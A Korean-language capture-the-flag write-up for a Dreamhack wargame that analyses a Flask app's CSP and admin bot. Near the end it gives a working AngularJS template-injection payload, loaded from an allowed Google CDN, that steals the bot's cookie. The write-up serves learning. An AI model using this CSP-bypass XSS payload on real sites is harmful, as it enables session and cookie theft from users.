Writeup: Client Side Template Injection by Dreamhack 437

요약

드림핵 워게임 437번 문항 https://dreamhack.io/wargame/challenges/437

CSP가 적용된 환경에서 허용된 AngularJS와 Client Side Template Injection(CSTI)를 이용하여 XSS를 실행하고, 봇이 가진 'flag' 쿠키를 탈취하는 것이 목표이다.

분석

문제 파일을 내려받아 app.py 코드를 자세히 살펴보자.

아래는 read_url 이라는 이름으로 정의된 함수이다.

url과 cookie값을 인수로 받아 봇을 생성하고 해당 봇이 쿠키를 지닌 채 주어진 url에 방문하도록 구현돼있다.

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True

다음은 check_xss라는 함수이다.

param은 /vuln 라우트의 쿼리 파라미터로 전달하고, 쿠키 정보는 생성된 url과 함께 read_url()에 전달된다. 즉, 봇이 쿠키를 지닌 채 /vuln?param={사용자 입력값}에 방문 하도록 한다.

def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

add_header 함수에는 스크립트 실행 출처 및 조건을 제한하는 CSP(Content-Security-Policy) 정책이 정의되어 있다. os.urandom(16).hex()로 무작위로 생성된 nonce 값을 통해 스크립트 실행을 허용하며, https://ajax.googleapis.com 출처의 스크립트 로딩이 허용되어 있다.

@app.after_request
def add_header(response):
    global nonce
    response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'nonce-{nonce}' 'unsafe-eval' https://ajax.googleapis.com; object-src 'none'"
    nonce = os.urandom(16).hex()
    return response

아래에는 각각 루트 라우트, /vuln 라우트, /flag 라우트가 정의돼있다. 이 때 /vuln 라우트는 입력 받은 쿼리 파라미터 값을 그대로 param으로 받아 본문에 return하므로 Reflected XSS가 발생할 수 있다. 다만, CSP 정책에 의해 실제로 일반적인 인라인 스크립트 공격은 실행되지 않는다.

/flag 라우트의 경우 브라우저 접속 시 GET 요청이 전송되므로 html을 렌더링한다. 제출버튼을 클릭하면 POST 요청을 통해 입력받은 param 값을 check_xss 함수의 인자로 넣어 실행하는 것을 확인할 수 있다.

@app.route("/")
def index():
    return render_template("index.html", nonce=nonce)


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return param


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html", nonce=nonce)
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return f'<script nonce={nonce}>alert("wrong??");history.go(-1);</script>'

        return f'<script nonce={nonce}>alert("good");history.go(-1);</script>'

마지막으로 /memo 라우트는 쿼리 파라미터 memo 값을 memo_text에 누적하여 더한 후 html에 전달한다. 즉 사용자가 확인할 수 있다. vuln과는 다르게 render_template를 이용하기 때문에 HTML 코드가 그대로 실행되지는 않는다.

memo_text = ""

@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text, nonce=nonce)

풀이

add_header 함수에서 보았듯이 CSP에서 허용된 Google CDN(https://ajax.googleapis.com)에 AngularJS가 호스팅되어 있으므로, 해당 라이브러리를 외부 스크립트로 불러올 수 있다.

1. /flag 라우트는 내가 입력한 값을 param으로 받아 check_xss 함수를 실행시킨다.
2. check_xss 함수는 아래와 같이 URL을 만들어 read_url의 인자로 넘겨 실행시킨다.

url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"

결과적으로 read_url 함수는 봇을 생성한 뒤 그 봇이 /vuln 라우트에 사용자가 직접 입력한 쿼리 파라미터를 가진 채로 방문하도록 한다.

/vuln 라우트는 코드 분석에서 보았듯이, 입력받은 param 쿼리 파라미터를 본문에 바로 반환한다.

따라서 만약 /flag 라우트의 입력란에 Document.cookie 값을 /memo 라우트로 전달하는 AngularJS 페이로드를 작성할 경우 봇의 쿠키를 탈취할 수 있을 것이다.

실제 페이로드는 아래와 같다.

<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.3/angular.min.js"></script><html ng-app>{{ constructor.constructor("location='memo?memo='+document.cookie")() }}</html>

• script: CSP의 script-src에서 허용된 Google CDN으로부터 AngularJS 라이브러리를 불러온다.
• ng-app: 해당 HTML 요소를 AngularJS 애플리케이션의 루트로 지정한다.
• AngularJS 표현식: 템플릿 내 constructor.constructor 를 통해 Function 생성자에 접근하고, 쿠키를 /memo 라우트 쿼리 파라미터로 전송하는 함수를 생성 및 호출한다.

결과

느낀 점/배운 점

해당 문제의 app.py를 처음 열어보았을 때는 Flask와 Selenium 문법부터 생소해서 한 줄 한 줄 코드를 이해하는데 시간을 써야했다. 결국 전체 구조를 이해한 뒤에서야 분석을 해볼 수 있었다.

제대로 된 Write-up을 작성해본 것은 이번이 처음인데, Write-up을 작성하기 위해서 이해해야 하는 것들이 너무 많아 자연스럽게 공부가 되었고, 단순히 실습을 하고 넘어가는 것보다 훨씬 많은 것을 배울 수 있다고 느꼈다.

본 문제는 사실상 드림핵을 통해 배우면서 푸는 문제였음에도 많은 어려움이 있었다. 이를 통해 내 부족함을 많이 느꼈고 더 열심히 공부해야겠다는 생각뿐이다.